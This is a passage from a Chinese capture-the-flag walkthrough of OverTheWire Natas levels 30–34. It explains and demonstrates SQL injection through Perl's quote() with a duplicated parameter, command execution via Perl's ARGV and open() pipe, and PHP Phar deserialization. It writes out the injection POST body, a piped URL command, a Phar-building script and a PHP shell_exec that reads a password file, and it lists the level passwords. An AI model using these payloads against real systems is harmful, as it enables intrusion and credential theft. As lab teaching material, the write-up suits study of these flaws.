print "fail :(";
}
$sth->finish();
$dbh->disconnect();
}
问题出在$dbh->quote(param(‘password’))这里。
在Perl中,可以使用param(‘name’)方法获取post表单中name参数的值,但是这个方法有一个特点,那就是
当我们输入name=foo时,param(‘name’)方法返回的是name的值foo;
当我们输入name=foo&name=bar时,param(‘name’)方法返回的是name的值列表[“foo”,“bar”]。
在Perl中,quote()方法的传参类型可以为列表,如果将列表传递给该方法,则quote()会将其解释为单独的参数。比如
@list = ("a", "b")
quote(@list)
相当于
quote("a", "b")
Perl的quote($string)方法被用来“转义”包含在string中的任何特殊字符并增加所需的外部的引号。这里使用quote方法的本意是将用户的输入放在引号中以防止sql注入。但是当quote()可以接收两个参数时,它的用法变为:第一个参数表示将要被quote的数据,第二个参数表示一个SQL数据类型,决定如何quote。如果第二个参数是非字符串类型(如NUMERIC),则quote将传递其第一个参数,而不带任何引号。这就构成了SQL注入的机会。
所以,如果调用quote(param(‘password’)方法,我们可以通过抓包并给password赋两个值的方法来给quote()传入两个参数值。其中第二个参数为1个数字(比如2),使第一个参数值不带任何引号直接注入到SQL中,从而得到flag。
构造POST:username=natas31&password=‘xxx’ or 1=1 &password=2
得到flag:hay7aecuungiuKaezuathuk9biin0pu1
Level 31-32(Perl远程命令执行)
Username: natas31
Password: hay7aecuungiuKaezuathuk9biin0pu1
URL:http://natas31.natas.labs.overthewire.org/
查看源码:
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
print <<END;
分析代码:
首先,【if ($cgi->upload(‘file’)) {】这行代码中,我们期望upload()负责检查“file”参数值所代表的文件是否已上传,然而实际上upload()检查的是某一“file”参数值所代表的文件是否已上传(用户可构造多个file参数)。换句话说,upload()并不要求所有的file参数都是文件,它只要求其中一个file参数是文件即可。这意味着,我们可以构造2个file参数,一个上传文件,另一个赋一个变量值,这样也可以通过upload()的校验。
然后,【my file=cgi->param(‘file’);】这行代码中,我们期望param()返回上传文件的文件描述符,然而实际上,如果我们构造2个file参数,一个上传文件,另一个赋一个变量值。那么param()返回我们输入的所有file参数值的列表。但是file不能包含两个值,所以在给file赋值时,程序会取列表中的第一个值赋给file。所以如果给第一个file参数赋变量值,第二个file参数赋文件描述符,则file会被赋值为我们输入的变量值,而不是上传的文件描述符。这意味着,此时$file变成了一个常规字符串!
接着,【while (<KaTeX parse error: Expected '}', got 'EOF' at end of input: …望遍历文件的每一行,但由于此时file是一个常规字符串,事实上,“<>”仅对文件起作用,对字符串不起作用。但是有一个特例,除非这个字符串是“ARGV”。当字符串是“ARGV”时,“<>”会遍历URL中?后面的每个值(比如POST /test.cgi?/etc/file1 /etc/file2),并把它们当做文件路径插入到一个open()调用中。这意味着,此时我们可以查看任何我们想看的文件内容,而不是仅仅查看我们上传的文件内容。
最后,再说说open()函数。open()的本意是打开一个字符串所代表的文件,但是当在字符串后面加一个“|”的话,open()就会执行这个字符串(比如POST /test.cgi?ipconfig|),就像调用一个exec()一样。
key:no1vohsheCaiv3ieH4em1ahchisainge
Level 32-33(Perl远程命令执行)
Username: natas32
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL:http://natas32.natas.labs.overthewire.org/
打开后和natas31相似的界面,并且提示,这次您需要证明可以远程代码执行,Webroot中有一个二进制文件可以执行。
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
print <<END;
于是延续上一题的思路,第一个file添加ARGV,URL加入命令ls -l . |查看Webroot目录下的文件,得到的结果中可以看到有一个getpassword.c程序文件。
查看getpassword.c文件的内容是,读取/etc/natas_webpass/natas33。
尝试在URL后面直接输入getpassword文件执行,成功得到key。
key:shoogeiGa2yee3de6Aex8uaXeech5eey
Level 33-34(Phar反序列化)
Username: natas33
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL:http://natas33.natas.labs.overthewire.org/
又是一个上传文件的页面,源码如下:
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename=""; //三个私有参数
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){ //类创建时调用
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) { //限制文件大小
echo "File is too big<br>";
}
else { //将文件移动到/natas33/upload/目录下
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){ //类销毁时调用
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/"); //getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
if(md5_file($this->filename) == $this->signature){ //md5_file() 函数计算文件的 MD5 散列。
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename); //执行外部命令
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}
查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。
查看前端代码,会发现我们可以修改两个参数,文件名和文件内容。在下面这段代码中,我们可以看到文件名的设置,是用的session_id作为默认值。而且源码对上传文件的类型没有限制。
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<? echo session_id(); ?>" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞。
我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
Phar文件结构
Phar文件主要包含三至四个部分:
1. A stub
stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名校验
尝试利用phar反序列化漏洞获取密码
一 序列化
根据文件结构我们来自己构建一个phar文件(php内置了一个Phar类),代码如下:
<?php
class Executor {
private $filename = "xx.php";
private $signature = True;
private $init = false;
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", 'test'); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Executor();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->stopBuffering(); //签名自动计算
?>
这段代码将filename修改成了xx.php,将signature修改为True。这样的的话,MD5比较将会始终为真,passthru()函数将会执行xx.php。
代码直接运行的时候会报错:
将php.ini中的phar.readonly设置成off,重启服务后,重新运行代码,生成了一个test.phar文件。
用Notepad++打开文件,可以发现,meta-data已经以序列化的形式存在test.phar文件中
说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里
二 反序列化
对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。
首先,上传一个用来读取密码的php文件,代码如下:
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
用bp将其拦截,修改名称为xx.php。然后点击Go,上传成功。
然后,将生成的phar文件上传,并重命名,点击Go,上传成功。
最后,将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取到flag。
flag:shu5ouSu6eicielahhae0mohd4ui5uig
Level 34(闯关成功)
Username: natas34
Password: shu5ouSu6eicielahhae0mohd4ui5uig
URL:http://natas34.natas.labs.overthewire.org/
参考
https://www.cnblogs.com/zhengna/p/12382033.html
感谢大佬的无私分享